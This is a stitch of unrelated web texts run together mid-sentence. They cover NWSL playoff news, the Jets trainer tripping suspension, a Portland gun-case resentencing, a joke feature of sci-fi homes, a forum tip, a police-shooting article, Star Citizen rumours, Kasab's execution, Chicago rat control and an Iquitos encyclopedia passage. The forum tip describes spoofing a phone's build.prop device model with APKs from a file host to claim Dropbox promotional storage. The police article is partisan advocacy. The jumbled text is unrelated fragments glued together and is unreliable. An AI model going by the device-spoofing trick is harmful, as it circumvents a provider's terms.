“So, that will be part of it — having to break them and to be patient in the attack is something we'll have to do a little bit better. That’s where we were a bit successful at our home a few weeks ago.”
The Pride enter the NWSL semifinal as the No. 3 seed after a slow start to the season, but if there’s reason for optimism, it may be their form during the past two months of the season. Their last loss came on July 22 and they’ve seemingly hit their stride, entering the postseason unbeaten in their past nine matches.
Pride coach Tom Sermanni is also quick to point out two of the Pride's losses to the Thorns have come in the first games of the season — well before the team has gotten into a rhythm for the season.
“I think that statistic is a little misleading,” he said Friday, dismissing the Pride's record versus Portland.
During their late season surge, rhythm and consistency have been the key factors — so much so that Sermanni didn’t opt to rest his starters in the final match of the regular season, despite already having clinched a playoff spot.
But it came at the cost of Camila, the versatile, attacking utility player who has featured in all 24 matches this season. She tore her ACL last week in that match, forcing the Pride to look at their bench for another option during playoffs.
“It’s honestly so sad because some of us have been in that position and I know how difficult that can be from personal experience,” Krieger said of Camila’s injury. “She’s gotten us to where we are now and she’s been a tremendous teammate, an incredible player for us.”
“The fortunate thing is we have players who can step up in those positions. Obviously they’re not going to be Camila, but they will bring a different aspect that is much needed. We have trust in every single one of our players as teammates and as professionals.”
Forwards Jasmyne Spencer and Rachel Hill, who have both frequently come off the bench as substitutes this season, figure to be options for Sermanni on Saturday.
The Pride are keenly aware the odds are stacked in the Thorns’ favor. Providence Park features artificial turf, while the Pride train on and are used to natural grass. Portland regularly has the largest, loudest home crowd in the league with an average attendance of more than 17,000, which Thorns players frequently cite as a motivating factor. And Sermanni has even raised the specter of referees getting overwhelmed here, calling upon the officiating team to protect players and avoid allowing the match to get out of hand.
“They’re used to winning games and they’re particularly used to winning games here,” Sermanni said of the Thorns. “So we’ve got to overcome all of that to get a result.”
But the Pride may have one extra motivating factor the Thorns don't have: the NWSL championship will be held in Orlando on Oct. 14 no matter what happens Saturday. For the Pride, the goal has been to play for a trophy in front of their home fans.
“This whole season, that has been something in the back of our minds and in our hearts as players,” Krieger said.
“How amazing would it be to play in a final in your hometown for a club that makes you as happy as you can be and gives you everything to be successful? That doesn’t happen very often in one’s career where you get a win a final in your home stadium.
“That is motivating us a little bit extra more than any other year.”EAST RUTHERFORD, N.J. (AP/ CBS 2/ 1010 WINS) — The New York Jets trainer who tripped a Miami Dolphins player on the sideline during a game Sunday appeared to hold back tears as he apologized for his actions.
“I let everybody down yesterday with my actions,” Alosi said. “My actions were inexcusable and irresponsible.”
On Monday night Sal Alosi was suspended without pay for the rest of the season, including the playoffs, and fined an additional $25,000.
He will begin serving his suspension immediately and have no access to the team’s practice facility. General manager Mike Tannenbaum said Alosi will also not be allowed to interact with any players or coaches “as it pertains to his job function.”
“It’s on me,” a contrite Alosi said.
The league reviewed the incident in which Alosi stuck his left knee out and tripped Dolphins cornerback Nolan Carroll, who was covering a punt in the third quarter of Miami’s 10-6 win.
“I wasn’t thinking,” Alosi said. “If I could go back and do it again, I sure as heck would take a step back. It was just a situation where I wasn’t thinking.”
Carroll, a rookie, fell to the turf and lay there for several minutes grabbing one of his legs before walking off. He returned in the fourth quarter. Carroll twice broke his right leg while playing: once ending his senior season in high school and again in his senior season at Maryland.
“I’m extremely thankful that my actions yesterday didn’t result in any significant injury to Nolan or any other players,” Alosi said.
He added that he apologized by phone to both Carroll and Dolphins coach Tony Sparano, and spoke to Jets owner Woody Johnson, coach Rex Ryan and general manager Mike Tannenbaum about the situation.
It’s the latest embarrassing incident for the team that starred on HBO’s “Hard Knocks” during the summer.
The Jets were investigated by the NFL in September for their treatment of a female television reporter. The league responded to the situation involving Ines Sainz of TV Azteca by developing a workplace conduct program, underwritten by Johnson, to educate players and staffs of all 32 teams.
A few weeks later, wide receiver Braylon Edwards was arrested for drunken driving.
Star cornerback Darrelle Revis was ticketed for speeding while driving to the team’s facility for a meeting before a practice in October.
At a news conference in Miami, Sparano said Alosi sounded humbled and sorry when they spoke Sunday night.
“I’m not going to get into it a whole lot here fellas, but to be honest with you, it’s out of my hands,” Sparano said. “It’s in a million other people’s hands right now, but not in mine. … I don’t like what happened because a player could’ve gotten hurt, seriously hurt, but that’s where it is.”
Dolphins linebacker Karlos Dansby took a swipe at Ryan after the game when he heard about the incident.
“He’s just taking after the head coach, man. It all trickles downhill,” Dansby said. “That’s how I look at it, it trickles downhill. The head coach, he opened a can of worms over there and now he’s got to fix it.”
Carroll, who had an interception in the first quarter to set up a field goal, said after the game that he was not angry about the incident.
“We got a ‘W.’ That’s not my problem,” Carroll said. “That’s the Jets’ problem. We just move on. I felt contact, but I’ve got to watch film. I can’t comment on it right now.”
Alosi was with the Jets from 2001-2005, then worked for the Falcons for one season before returned to New York in 2007 as the head trainer.
Alosi was a linebacker for Hofstra from 1996-2000, and even earned an award for sportsmanship and fair play both on and off the field during his college career.
“You’re asking me to give you a logical explanation to an illogical act,” he said. “I can’t do that. I can’t explain that.”
https://cbsnewyork.files.wordpress.com/2010/12/jets1-sandberg-40soc-rstern.mp3 1010 WINS’ Steve Sandberg talks with Jets fans
Throughout the tri-state area on Monday, football fans were left wondering what Alosi was thinking about.
“Oh that ain’t right. Come on now. You can’t do that. You can’t do that,” Astoria resident Maria Stone told CBS 2’s Scott Rapoport.
So what about it? What about fair play. What about sportsmanship and setting a good example? We know sometimes players go off the rails, but coaches?
“For a coach to do something like that tells me he’s a little over invested … to the point of being immature,” psychologist Dr. Jeffrey Gardere said.
You have to go back more than 30 years ago when legendary Ohio State coach Woody Hayes threw a haymaker at an opposing player to top something like this.
Over at Lodi High School in New Jersey, students, athletes and academics alike were taken aback when they saw the trip the day after.
“If he can’t follow the rules and regulations and moral code set by the organization he works for, he should have no business working there,” said Jacob Rosen, a junior at Lodi High School.
“It’s wrong because coaches are supposed to be setting examples for their players. And if they’re doing something like that everyone else that’s looking up to them are gonna think there’s no point to it. They’re supposed to be role models,” varsity soccer player Harsharan Kaur added.
Sports needs more stand up guys, not fall guys.
Statement from New York Jets
December 13, 2010 — The New York Jets today suspended without pay Head Strength and Conditioning Coach Sal Alosi for the remainder of the 2010 season, including any playoff games, and fined him an additional $25,000 for his conduct during Sunday’s game versus the Miami Dolphins. The announcement was made by Jets General Manager Mike Tannenbaum.
Alosi’s suspension begins immediately. During this period, he will have no access to the team’s practice facility nor any interaction with coaches or players as it pertains to his job function. He will be eligible to return to the facility on the day following the team’s final game of the 2010 season.
“After reviewing the facts and consulting with the league office, we determined that this was the most appropriate discipline,” said Jets General Manager Mike Tannenbaum. “I have spoken with Sal. He understands the severity of his actions and has apologized to all parties involved in the incident. There is no place in the game for this type of behavior and his conduct falls disappointingly short of our expectations for anyone associated with the New York Jets. I have also reminded all members of the organization with sideline access that it is both a priority and their responsibility to maintain a safe environment.”
Alosi said: “I accept responsibility for my actions and respect the team’s decision.”
Statement from New York Jets Head Strength & Conditioning Coach Sal Alosi
“I made a mistake that showed a total lapse in judgment. My conduct was inexcusable and unsportsmanlike and does not reflect what this organization stands for. I spoke to Coach Sparano and Nolan Carroll to apologize before they took off. I have also apologized to Woody, Mike and Rex. I accept responsibility for my actions as well as any punishment that follows.”A felon who told police he had guns because he was "hunting'' a rival gang member he believed was responsible for killing his brother had his federal sentence for weapons possession cut in half Wednesday.
Eddie Ray Strickland Jr., originally sentenced to 15 years in 2014 as a felon in possession of a firearm, was resentenced to seven years in prison in U.S. District Court in Portland.
Strickland is among the thousands of federal offenders who appealed their designations as armed career criminals based on two recent U.S. Supreme Court decisions.
Eddie Ray Strickland Jr.
Under the career criminal act, someone convicted of a federal gun crime with three or more previous convictions for a violent felony or a serious drug offense faced a minimum mandatory sentence of 15 years.
In late June 2015, the Supreme Court held 8-1 in Johnson v. United States that part of the "violent crime'' definition was unconstitutionally vague and denied defendants their due process rights. Then last year, the Supreme Court ruled that the Johnson decision applied retroactively to offenders sentenced before the June 26, 2015, decision came down.
Thousands of federal offenders seek review of sentences in wake of Supreme Court rulings At least 150 convicted federal offenders in Oregon are urging judges to throw out or reduce their sentences after the U.S. Supreme Court struck down a part of the Armed Career Criminal Act as "unconstitutionally vague.''
Strickland's lawyer argued before the 9th U.S. Circuit Court of Appeals that one of Strickland's convictions – third-degree robbery – wasn't considered a violent felony under the act and he shouldn't have been designated an armed career criminal. The appeals court agreed in late June and ordered the 15-year sentence be thrown out.
Strickland originally was sentenced in August 2014 after he pleaded guilty to possessing two loaded firearms as a felon. The charge stemmed from a Portland police search of his home with a warrant after officers received complaints that Strickland had threatened his girlfriend with a gun.
Strickland had put a gun to his girlfriend's head in July 2011 and threatened to kill her, according to court documents. He also had fired a shot in her direction a month earlier, missing her but striking the couch where she had been sitting, the documents indicated.
At his home, police found two guns hidden in a crawl space behind stairs leading up to his second-floor residence. Strickland told police that the.380-caliber semiautomatic silver-and-black handgun and a.40-caliber semiautomatic black handgun were his for "protection,'' court documents say.
When he was arrested, Strickland also told Portland Detective Todd Gradwahl that he was "hunting'' a rival gang member he believed had shot and killed his brother Isaiah Strickland in Portland in 2003 and that the rival was after him as well, Assistant U.S. Attorney Scott Kerin wrote in a sentencing memo. Strickland also told police that he would have shot the brother of the man he suspected of killing Isaiah Strickland, according to Kerin.
"A brother for a brother,'' Strickland told police, Kerin said in court Wednesday.
"The defendant had the means to kill someone; what he told detectives was he was only looking for the right opportunity to do so,'' Kerin wrote in a new sentencing memo.
Kerin urged that Strickland be resentenced to eight years and nine months in custody, citing the dangerous circumstances surrounding his gun possession and his past domestic violence threats.
Strickland's lawyer, Kevin Bons, urged the court to sentence Strickland to four years and nine months. Bons detailed Strickland's chaotic and dysfunctional family environment as a child with a mother who was addicted to cocaine and a father who was mostly absent. Strickland started using drugs and drinking alcohol at age 8 and was selling drugs by age 9, according to court documents.
Strickland said in court that he had the guns because he was "angry" that his brother was dead and no one had been held responsible. Isaiah Strickland, 17, was gunned down in a parking lot at Northeast Seventh Avenue and Fremont Street on Nov. 2, 2003, in a case that remains unsolved.
Strickland told the judge that he recognizes he made a mistake but has grown while in prison and was recently baptized behind bars.
Strickland's 40-year-old sister Shanita Hunter, who needs a kidney transplant, said her brother is her only sibling and a match for a kidney donation. She asked the judge to be lenient so she could get the transplant.
Judge Michael W. Mosman resentenced Strickland to seven years in prison. He said he was taking into account Strickland's incredibly difficult childhood and background, but also the context of his crimes.
Strickland has already served most of the sentence -- six years and nearly two months, his lawyer said.
-- Maxine Bernstein
[email protected]
503-221-8212
@maxoregonianHouse-hunting can be hellish, with its gazumping, conveyancing and endless euphemisms for the word ‘pokey’. But somehow down the years the protagonists in some of our favourite sci-fi movies have managed to lay their futuristic hands on a portfolio of prime real estate. Should any of these properties come onto the market, the punters will all be rushing for their mortgage broker, so we’ve got our Kirstie-and-Phil on to explore the best in intergalactic des res.
Lars Farmstead, Tatooine
200,000 Galactic Credits
To the untrained eye, this is a nondescript moisture farm on a barren stretch of Tatooine. But to the savvy, it’s a blue riband investment that’s all sizzle - especially during the scorchy summer months. Handily placed for the Jundland Wastes, and with Jabba’s Palace a mere land-speeder ride away, there are plenty of good reasons to stay home. And what a home! The ultimate in subterranean chic, there’s nowhere better to welcome passing Jawa traders.
As seen in: Star Wars: A New Hope
Features
Moisture vaporators
Womp rat shooting range
Ample speeder parking
Twin sun-lounging deck
Register Your Interest
Sleeper House, Colorado
$1.5m
Don’t be deterred by Forbes’ claim that this is “the ugliest mansion in America”! Although this looks a bit like a giant clam with teeth, it’s the perfect bolthole for any cryogenetic time-traveller to thaw out. Light, airy and with private off-road parking for your bubble car, this has everything amenity that a villainous organisation could require. It was purchased for $1.5m in 2010; just imagine what it will be worth in 2173.
As seen in: Sleeper
Features
Modernist architecture
Verdant vegetable garden
Mountain vistas
Quarters for robot butler
Register Your Interest
James T. Kirk’s Quarters, San Francisco
50 Bars Of Gold-Pressed Latinum
A sleek, modernist pad for the discerning spacefarer, this 2285-vintage unit comes with dazzling views across the Golden Gate Bridge and Presidio to Starfleet Headquarters, a combination of old and new world charms, and plenty of room to swing a Ceti eel. Seen here tastefully decorated with ancient artefacts and telescopes, it’s the perfect 'launch pad' to the far reaches of the galaxy – or the sofa, if you’d rather.
As seen in: Star Trek II: The Wrath Of Khan
Features
Extensive storage for 20th century antiques
Walk-in wardrobe for skintight trousers and girdles
Fireplace for cogitation
KHAAAAN-venient ensuite bathrooms
Register Your Interest
Korben’s Apartment, South Brooklyn, New York
500 credits per month
A bijou property brimming with modcons, this is the ideal space for the urban professional to unwind after a long day stopping the Great Evil. It’s the latest in ‘smart accommodation’, combining cigarette dispensing technology, slide-away bedding, automated cat flap and high security to block out whatever catastrophe is befalling civilisation at the time – although a hidden window does allow for Chinese food delivery.
As seen in: The Fifth Element
Features
Innovative weapons cache
Wipe-down floors for peroxide spillages
Parking for flying taxi
Low risk of gazumping
Register Your Interest
Sam Lowry’s Flat
£47,000
Charming and compact, this bleeding-edge bachelor pad will do all the hard work for you. A haven for the time-poor apparatchik, it boasts all the in-built gadgetry you could possibly need, from self-running taps to auto-boiling kettle, all serviced by a tangle-free network of cables and piping. Looking for futurama luxury? Why wait: this property is now-arama!
As seen in: Brazil
Features
Totalitarian security services
State-sanctioned plumbing
Neutral colour schemes
Auto-toaster
Register Your Interest
Valley Forge, Outer Space
Price on application
Tired of the rat race? Then this ‘launch pad’ is for you. Mingling the very latest in intergalactic transportation with all the creature comforts of an environmentalist idyll, this starry retreat will blast away the stresses of modern life – and potentially all life as we know it – with a geodesic getaway that will be the envy of your distant peers. All you’ll need is an Oyster Card, Zones 1-700 billion.
As seen in: Silent Running
Features
Tranquil arboreal ambience with no close neighbours
Self-grocerising produce zone
Adorable robotic assistants
Nuclear capability
Register Your Interest
Quaid’s Apartment, The Colony
$320,000
This recently refurbished property is ideally located in the heart of the bustling Colony in the former Australia. Its split-level lay-out, mezzanines and dazzlingly appointed terrace afford all the living space a well-heeled factory worker could possibly require, not to mention ample room for a physical altercation and commensurate opportunities for a time-efficient parkour-based getaway should the situation require. No background checks required.
As seen in: Total Recall
Features
A brief Glide Train ride to work, handy for the Fall to the United Federation Of Britain.
River views
Multi-screen plasma viewing station
Perfect for the newly single, recall-challenged individual
Register Your Interest
The Swintons' House, Upstate New York
Price on application
Located in a picturesque setting, this is an exception property for any young family to raise its robot offspring. Light, airy and full of storage space for your auto-sprog to keep its super toys, its open-plan living spaces will delight you on the long summer days of a globally-warmed future. Expansive gardens and a swimming pool will give your ‘bot boy room to grow.
As seen in: A.I.: Artificial Intelligence
Features
Cybertronic
Modern fittings and fixtures
Enchanting arboreal setting
Lighting by J. Kaminski Fittings & Fixtures
Register Your Interest
1407 Graymalkin Lane, New York
$37m
A rural school conversion with a rich history, this opulently presented “X”mansion is a highly sought-after address. Its gothic spires announce it to the surrounding countryside and make it a statement house for the rich, powerful or genetically different. Extensive gardens and maze will delight house guests, who can be accommodated in its chic, dormatory-style bedrooms. Could be renovated for use as a school or hotel; neighbours show tolerant attitudes to mutants.
As seen in: X-Men: First Class
Features
Desirable Westchester location
Basketball court concealing stealth-jet parking
High-tech "danger room" style gym facility
Extensive wood panelled living space
Register Your Interest
John Preston's Flat, Libria
**Currency no longer need in FatherQuote:
Originally Posted by
I saw a post in this thread about getting the promotional space on AT&T S4 without flashing TMobile roms. I gave it a try, and it worked just fine. So I thought of sharing the files with you. I pulled them out of a deodexed TMobile rom.
Download the attached file. You need to push Dropbox.apk and DropboxOOBE.apk into system/app and fix permission. Then you need to push com.dropboxpartner into system/framework and again fix permission.
Then, you need to modify the build.prop using a root explorer. Find the following lines and modify them as follow:
ro.product.model=SGH-M919
ro.product.name=jfltetmo
ro.product.device=jfltetmo
Reboot your device, open the Dropbox app, and log in with your existing account, or create a new account. You will receive an email, and after fulfilling 5 of the 7 tasks, you will receive the 48 GB promotional space. After fulfilling the tasks, you can restore your build.prop to its original state.
Attached Files:
http://d-h.st/fZJSpread the love
Chicago, IL — In the wake of the recent dashcam footage showing Chicago police officer Jason Van Dyke kill Laquan McDonald, the Chicago police department has quietly been hiding another dashcam as well.
On October 12, 2014, Ronald Johnson, 25, was involved in a highly disputed interaction with Chicago police. At the end of this interaction, Ronald ‘Ronnieman’ Johnson would be dead at the hands of Chicago’s finest.
According to Dorothy Holmes, Johnson’s mother, the officer who fired the fatal rounds into her son was officer George Hernandez. This information was kept secret by the Chicago police until now, as officials have announced that no charges will be filed against this killer cop.
Holmes has refused to be bullied by the Chicago police since this horrific incident wrecked her world last year. Despite not getting the media spotlight as in the case of McDonald, Homes continued to fight for justice.
Because of her relentless drive to bring Hernandez to justice, the Chicago police have finally released the dashcam of that fateful night.
Holmes told the Free Thought Project that police were originally looking for a suspect in several shootings. However, according to Holmes, Johnson was not even in the area of the shootings and her son’s only ‘crime’ was running away.
As police were interviewing the driver of a car in which Johnson was in the back seat, he got out and ran – this decision was answered with a death sentence.
When police called Holmes to tell her they had killed her son, they released the official lie that stated Johnson pointed a gun at officers and they were forced to return fire. Holmes never believed this lie and had her own medical examination conducted which showed that her son was, indeed, shot in the back.
In the Dashcam video released on Monday, Holmes and the medical examiner are clearly proven to be correct.
What the video shows is Ronald Johnson rounding a corner with officers in pursuit. As Johnson begins to cross the street, he is gunned down in the back by officer Hernandez.
Police remain steadfast in their claims that Johnson had a gun, and they have released pictures of said gun. However, according to Dorothy Holmes, Ronnieman’s prints were never found on that gun.
On Monday, Assistant U.S. Attorney Lynn McCarthy, used a PowerPoint presentation in an hour-long presentation to the media to attempt to justify the killing of Johnson. Despite her long-winded apologies, there is still zero evidence that Johnson was in possession of a gun.
Michael Oppenheimer, an attorney for Holmes explained how the police have railroaded this family. “This could have been a lot easier if they released it 14 months ago. All of the lies, coverup, that’s still going on,” he said.
Dorothy Holmes lost a child to the ones who claim to protect and serve the city of Chicago, and the killer’s fellow brothers in blue are doing nothing to bring him to justice.
For over a year, Holmes has been trying to get the truth out about her son, and that day has finally come.
The Free Thought Project spoke to Dorothy after the video broke and she let us know that she plans to launch a federal case against Hernandez too. This woman’s resilience is inspiring to say the least.
“Trust and believe this is not over,” Holmes said, making reference to the potential DOJ investigation that lies ahead, “It’s far from over.”
Below is a video Dorothy made in June of this year. Watch the video and listen to everything that she says, all of which is now being proven as true.
Please show your support for Dorothy Holmes by following her pursuit of justice on the Justice for Ronnieman Facebook page.(Citizen Star News) - 2014-08-14 - Details are "leaking" out about what we are going to see tomorrow at the CIG Star Citizen event. Mostly by CR talking to the Press drumming up interest for the big reveal.
Official Livestream details will be posted soon but it should be on their twitch channel when the event starts at this time: WorldClock. (Although the stream may be starting an hour after that.) Update: Official countdown is indeed an hour later than the event door opening, which makes sense.
V0.9 (Patch 13) is planned from two weeks from today (Thurs Aug 28th) (Source: Michael Graf & Chris Roberts StarCitizen interview event at Gamescom) (Note: We should probably plan for it to slip a bit as this is a "if all goes well date", and how often does that happen?-Ed.)
V0.9 (Patch 13) should include V0.9 AC Racing, first pass at Keyboard binding, and true 6DoF. (Source: IncGamers, which would seem to have the same stream w/ Micheal Graf as it's source).
Image Credit: Tweeted by David Swofford
V0.9 Should have two new game modes. One is racing, and one is called New Horizons. (Which could be the same thing and something completely new, is the second for all I know.)
M50 should be flyable soon. Maybe with V0.9? Seen here in a preview of the racing mode.
Some sort of private match/matchmaking should be a part of V0.9, but the full lobby will be in v1.0. (Source: Michael Graf & Chris Roberts StarCitizen interview event at Gamescom)
All four hangars should be updated in V0.9 (Patch 13). PBR and redesigned. They won't be called by their current names but instead by the Hangar Manufacturer (Source: Michael Graf & Chris Roberts StarCitizen interview event at Gamescom)
Version 1.0 Patch 14 is scheduled for about two months away. Should include a full lobby system and allow us to invite friends to private matches, Updated HUDs and Energy Management system.
Expecting Constellation variants to be announced, Constellation sale and a demo of Multi-Crewed ships. (Which is still scheduled for Arena Commander II, so won't be flyable for quite some time.) (Source: Various hints dropped here and there.)
Possibly not in the presentation but of interest:
Next subscriber hangar flair is Constellation Phoenix model (for the existing display case?) (Source: Reverse the Verse)
Vanduul cargo ship is fairly far along and will be called the mule. (Source: Reverse the Verse)
David Hobbins (fantastic concept artist) has left CIG. He apparently got an offer he could not refuse. Best of luck to him! (Source: Reverse the Verse)
See Also
Reddit Discussion
RSI Forums - Details released on tomorrow's Gamescom livestreamPUNE: Minutes before his execution in Pune's Yerwada prison on Wednesday, Pakistani gunman Mohammed Ajmal Amir Kasab appeared to be nervous but was quiet and offered prayers, a jail official said.
"From his body language, we could make out that he was very nervous. However, he remained quiet before he was taken out from his cell for the hanging," the official said.
Kasab had also offered prayers and asked if his family was informed in advance about the hanging to which jail authorities replied in the affirmative, the official said.
Nearly four years after the Mumbai terror attack, Kasab, the sole surviving Pakistani gunman, was hanged this morning at Yerwada central prison here in a secret operation.
Kasab had been made to sign his death warrant before being moved to the Pune jail on November 19.
According to official sources, a senior jail official read out the death warrant to Kasab at his cell and also informed him that his clemency petition had been rejected by President Pranab Mukherjee.After reading out his death warrant, Kasab, who was part of the 10-member Lashkar group that carried out the dastardly attack on November 26, 2008, was asked to sign it which he did, the sources said.Later, he was taken by the Yerwada Jail police and the local police was kept out of the loop to maintain secrecy of the operation.Barring a couple of officers, the 200-strong contingent of ITBP, which has been guarding him since March 2009, had been kept out of loop about his transfer to the Pune jail.The sources said the ITBP jawans continued to guard the empty high-security cell, which had been housing 25-year-old Kasab.
Ten terrorists belonging to Pakistan-based terror outfit Lashkar-e-Taiba (LeT) had come to Mumbai and carried out the dastardly strikes in which 166 people were killed. Nine of them were killed during the 60-hour siege which began on the night of November 26, 2008. Kasab was, however,caught alive.Chicago Is Upping Its Rat-Fighting Efforts As Pest Complaints Soar
By Mike Ewing in News on Apr 12, 2016 7:00PM
Joseph Dennis
Facing a soaring number of pest complaints, the Department of Streets and Sanitation is enlisting ten new rodent control crews into its war against rats. If they're anything like the ever-tenacious #broomrat, then the folks at Streets and San have their work cut out for them.
The city is on pace to reach 50,000 rat complaints this year, up by as much as 50 percent compared to last year, according to an ordinance backed by Mayor Rahm Emanuel last month. This increase is caused in part by major construction projects across the city driving rats out of hiding and into the streets. And there just aren’t enough feral cats to kill them all. So, the two-person rodent control teams work to decrease the pest population through abatement (a.k.a. poisoning) rats in problem areas and spreading pellets that keep them from reproducing.
“These measures will promote efficiency so that the City will be able to more quickly respond to requests from residents and, perhaps more importantly, eliminate the potential for problems before they become problems for residents,” Emanuel said in a statement.
Some city workers are being reassigned from trash collection duty to the anti-rat teams because they aren’t needed to pick up garbage thanks to the new and efficient grid-based system. Officials also announced plans to increase education efforts and form a new Rodent Task Force to bring together different city agencies.
Some things you can do to help in the War of the Rodents include:
Maintaining/getting rid of bird feeders, which are basically pigeon and rat buffets
Cleaning up after your pets because gross
Putting trash into bins. Obvious, we know, but still.
See something scurrying by? Call 311 or report it |
itos is located in Region 3 of Systematic Regionalization Map of Peru, which means that the city has a low coefficient seismic value, although the 2011 Peru earthquake, which occurred southeast of Contamana, was felt in the city as a small and unexpected jolt.[10]
Ecology [ edit ]
Due to its location in the Peruvian Amazon, Iquitos has a green landscape with a vast variety of life. The flora is varied with great presence of 850 species, including 22 species of palms and orchids, who provide the attractive forest within the urban landscape of the city. The lilies also present. The extensive forests seated within metropolitan influence host fauna with 130 species of mammals, 330 of birds, 150 of reptiles and amphibians, and 250 fish. Within the city, inhabiting the rock dove (Columba livia), especially in the Square 28 de Julio. Also recorded the transient presence of bull sharks (Carcharhinus leucas) who come from the Atlantic Ocean, traveling 3,360 miles to Iquitos.
The floodplain forest of Iquitos is the peculiar ecoregion which surrounds the city, and is characterized by a várzea forest called Iquitos varzea. Its alluvial detail is the motive why intense rainy seasons easily reach these areas flood. In the natural cycle, the trees drop their leaves and other organic waste to the soil, and become humus. Rain washes these nutrients into rivers, which gives that blonde color, called tannin. Immediately, this cycle repeats.
The great biodiversity that the Iquitos Metropolitan Area houses and protects is paramount, and that is intrinsically related to its urban planning, which puts a limit action in areas where farms should not be built. Because of this, the appearance of informal settlements is seen as a risk.
Natural reserves and zoos [ edit ]
The importance of the existence of nature reserves is a priority in Iquitos for ecosystem protection.
The Allpahuayo-Mishana National Reserve is a protected area with soaring rates of biodiversity. The reserve is located 20 kilometres (12 miles) from Iquitos, being reached by Route LO-103. The ecosystem is part of the Nanay River basin, specifically in an area called "Ecoregion Napo", which contains a unique Amazonian biodiversity, including its distinctive white sand forests. The Napo Ecoregion contains 112 species of amphibians, 17 species of primates, 1900 plant species and over 600 birds species. Some ecologically important animals care for their rarity in the reserve are the supay pichico (Callimico goeldii) black stump (Callicebus torquatus), equatorial saki (Pithecia aequatorialis) ancient antwren (Herpsilochmus gentryi), Mishana tyrannulet (Zimmerius villarejoi), Allpahuayo antbird (Percnostola arenarum), chestnut-tailed ant (Myrmeciza centuculorum castanea), the pompadour cotinga (Xipholena punicea), saffron-crested tyrant-manakin (Neopelma chrysocephalum), among others. The Iquitos gnatcatcher (Polioptila clementsi) is an endemic species of the reserve and is considered a symbol of Iquitos.
The Tapiche Reserve is a private conservation property that employs a strict no catching/no caging policy. The abundance of wildlife on this property is a glimpse into how the entire region would have been prior to present-day logging and hunting activities. The reserve strives to educate visitors and locals alike on the most eco-friendly ways to enjoy the rainforest. Due to diligent patrolling and maintenance of the property against hunters and loggers, visitors have the opportunity to view rare and endangered animals in the wild. Species include the Amazonian manatee (Trichechus inunguis), the red uakari monkey, the giant otter (Pteronura brasiliensis), the agami heron (Agamia agami) and several species of large raptors including the harpy eagle (Harpia harpyja), the crested eagle (Morphnus guianensis) and the ornate hawk eagle (Spizaetus ornatus).
Quistococha Tourist Complex is characterized by its variety. The place is located 6 kilometres (3.7 miles) from Iquitos via Route AS-103, and with an extension 369 hectares (910 acres) of natural forest, has a small zoo, a serpentarium, an aquarium, a nursery and an artificial beach called Tunchi Beach.
The butterfly zoo Pilpintuwasi is located in Padre Cocha, Iquitos, and includes more than 40 species of insects, especially butterflies. Along the butterfly zoo, is the Amazon Animal Orphanage, commissioned in animal rescue.
Demography [ edit ]
The northeast side of Iquitos in 1987, when the population of Iquitos still maintained its rural aspect in developing as a metropolis
In 1808, Hipolito Sanchez Rangel, the bishop of Maynas, reported that the village of Iquitos had 171 inhabitants and at 8 June 1842, date where the town was elevated to district, it had just over 200 inhabitants.
In 1860, according to Paz Soldan, the town had only 300 inhabitants. Two years later, the population increased to about 431 inhabitants and in 1864, there were 648 people, predominantly mestizo due to the presence of families from Borja, Santiago, Santa Teresa, Barranca and others, who fled away from the attack on the Huambisas and Aguaruna native and destroyed the villages.
According to Genaro Herrera, in 1866, Iquitos had a population of 648 people. For 1876, again the same author reports a population of 1,475 inhabitants.
In 1903, in the middle of the rubber boom, Iquitos had 9,438 inhabitants (census of Benito Lords), of which 542 were foreigners, most of them from Spain (95) Brazil (80), China (74), Portugal (64) and as many from Italy, England, France, Ecuador, United States, Russia, Switzerland and Morocco.
Currently, Iquitos has emerged as the largest city in the Peruvian Amazon and one of the most important of the Amazon in South America. Counted by the Census of 2007 with 406,340 inhabitants.
Government [ edit ]
Iquitos is a provincial municipality with a system of government headed by a Provincial Council, composed of the Mayor and fifteen aldermen. The Provincial Municipality of Maynas (MPM) is the main body that has jurisdiction in the Maynas Province and Iquitos District, and authorities are elected by popular vote. The municipal government is responsible to plan development and territorial order within its jurisdiction, promote strategic coordinate on district order. It is responsible for public education, correctional institutions, libraries, public safety, urban planning, regulation of all types of transportation, municipal tax collection, maintenance of public roads (asphalt, cleaning, etc..) and gardens, promoting culture and preservation of architecture and public places, among others. The Municipal Manager is responsible "to direct, coordinate, monitor and evaluate the technical, financial and administrative of the Municipality".
The MPM has support bodies formed by the General Secretariat, the Office of Institutional Image, Administrative Management, Revenue Management and the General Office of Information. The line agencies are bureaucratic managers with a distinct role and have the function of carrying out the institution's mission, which includes the Territorial Conditioning, Sanitation and Environmental Health, Works and Infrastructure, Traffic and Public Transport, Social Development, Economic Development and Municipal Services. The MPM organizes the Municipal Ombudsman Service of Child and Adolescent.
The Mayor was Adela Jimenez, an architect, chosen by the National Jury of Elections to fill temporarily to Charles Zevallos who was suspended for health reasons. Jimenez was the first woman to hold the office of mayor provincial and Iquitos. Current Mayor is Francisco Sanjurjo Dávila.
The political geography of Iquitos is comprised four districts or communes, each with a district municipality. Except Iquitos District does not have a district municipality as such, the Provincial Municipality of Maynas also functions as his council district. The other districts are with a respective one: District Municipality of Punchna, the District Municipality of San Juan Bautista and the District Municipality of Belén. Each municipality has interference in his own district, and each has a policy of urban planning that is created according to the state of his district.
Human rights [ edit ]
The human rights of Iquitos are based on the Constitution of Peru that provides a fair treatment with respect to race, nationality, religious beliefs or social status. The document states that there should be no discrimination on "grounds of origin, race, sex, language, religion, opinion, economic or other purposes", and must be present the full practice of economic, social and cultural rights. The Municipal Ombudsman for Children and Adolescents (Demuna), directed by Sinthya Felicita Flores Carmona, is a special ministry that provides protection to children's rights. Indigenous rights is another important approach in native communities living in the metropolitan region.
The city's human rights have met with strong and complex social conflicts that violate the Universal Declaration of Human Rights. Also, movements are made of any kind seeking recognition and protection of their rights.
Environmental issues [ edit ]
The environmental management of the city has faced the accumulation of garbage in various parts of the city and along more informal piers, and creating a remarkable visual and soil pollution. The result is a serious blow to environmental ethics, being the providing a profile of sustainable city. The problem usually occurs in the informal settlements and markets such as Belén. In the central areas, some people throw away trash on the ground without apparent concern although there is a law against it. In other minor cases, seem to ignore the cubes, being close to them, throw away the trash on the ground anyway. In markets, the presence of illegal dumping is another problem. Styrofoam containers are the vessel of choice for any food service, and the practice of carrying out or getting meals delivered, especially at lunchtime, is ubiquitous.
